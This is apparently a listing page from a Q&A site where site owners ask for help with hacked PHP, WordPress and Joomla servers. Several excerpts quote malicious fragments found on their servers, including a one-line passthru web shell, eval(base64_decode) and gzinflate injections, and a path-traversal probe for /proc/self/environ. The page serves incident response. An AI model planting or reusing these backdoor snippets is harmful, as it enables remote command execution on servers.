0
votes
2answers
71 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
0
votes
2answers
61 views

Looking for a shell command to read non-binary part of most common image types

A website I'm hosting on my dedicated server has been hacked. Some pictures have been infected with things like <?php eval(base64_decode(....));?>. I'm looking for a generic shell command which ...
-2
votes
1answer
153 views

My php script hacked again and again? [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY I did a php script my self for a digital shop store but a hacker is hacking it again and again. He is copying some php and ...
-3
votes
1answer
202 views

Got hacked, cannot understand how [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY In log i found that site was scanned by hacker for few hours but actual hack was few minutes i think. He somehow found out about ...
2
votes
1answer
133 views

Potential Bot-Net organizers probing for new machines?

I'm getting a number of exploit attempts from different IP's today. GET ...
-1
votes
1answer
343 views

How do I figure out how the “Pharma Hack” hackers are gaining access to my site?

One of my sites has been the continuous target of the "Pharma Hack" - but it's using Drupal instead of Wordpress or Joomla. It is version 6, but it's updated to the latest version, and so are all of ...
0
votes
1answer
674 views

Please help me decode this Wordpress hack? [closed]

Annotated code is here: http://pastebay.com/145971 Looks like a very similar situation to this post I'm no good with python so I thought I might ask for help here. The hack seems to include an ...
0
votes
2answers
2k views

Apache/PHP root exploit

Because of insecure handling of uploaded files, an attacker was able to run php code on my server (CentOS 5.4) That issue has been fixed, but while he was connected he appears to have modified a file ...
1
vote
1answer
212 views

PHP Backdoor code [closed]

I've found a php backdoor on my host. <? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?> I see requests in access log to that php file were POST requests, but I don't know how the SETENV of that ...
1
vote
1answer
720 views

Examining PHP hack script [closed]

I found a number of PHP scripts on a friends webserver which had been loaded by hackers. The actual code was hidden using several layers of encryption as follows. They had a huge string assigned to a ...
2
votes
4answers
2k views

front page keeps getting hacked

A similar attack keeps happenning on two of my sites (one is running latest Joomla, one is not). It usually says "hacked by general" or something similar. When I check the files on one of them, ...
2
votes
5answers
2k views

Finding out who hacked my site [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY All Joomla! sites hosted on a single server of mine were hacked and had the following code injected into the index.php files ...
5
votes
1answer
3k views

How do I decode this WordPress hack? [closed]

I found an offending string in a client's WordPress-powered website, and I just want to know what it does. ...
0
votes
2answers
188 views

mysql hacked on php linux

i have a website and mysql entries in tables of the database were deleted or changed values. i found the hacker pretty quickly but he only did minor changes. i have some forms on the site. is it ...
2
votes
3answers
1k views

Security from C99shell.I

I had found a unauthorized file on my server, After downloading it to my computer, my antivirus recognized it as a virus Backdoor:PHP/C99shell.I Can anybody please guide me how to track the hack and ...
6
votes
6answers
546 views

Database is hacked over and over again; already cleaned the site for SQL injection

I have a client who's asked me to try and analyze a site for vulnerability. What's happening is, every weekend or so, on field of one record of one table in the database gets changed to the same ...
12
votes
8answers
2k views

is this a hack attempt?

Looking through my 404 logs I noticed the following two URLs, both of which occurred once: /library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ and ...
1
vote
5answers
21k views

PHP eval(gzinflate(base64_decode(..))) hack - how to prevent it from occurring again?

We recently had a website hacked, where some PHP code was injected into the index.php file that looked something like: eval (gzinflate(base64_decode('s127ezsS/...bA236UA1'))); The code was causing ...
3
votes
2answers
385 views

Owner and permissions on a hacked file versus on a “legal” file

This relates to a hacking incident we had to deal with. The hackers inserted a php file into our system. The directory in question does receive uploads (images) from our cmsadmin. However, all files ...
34
votes
11answers
2k views

Got Hacked. Want to understand how

Someone has, for the second time, appended a chunk of javascript to a site I help run. This javascript hijacks Google adsense, inserting their own account number, and sticking ads all over. The ...
4
votes
2answers
3k views

code injected inside PHP file with 777 permission

I woke up to find that all the folders in my shared-web-host with 777 permission had two new php file. The code inside the file could not be read - here is the decoded version: ...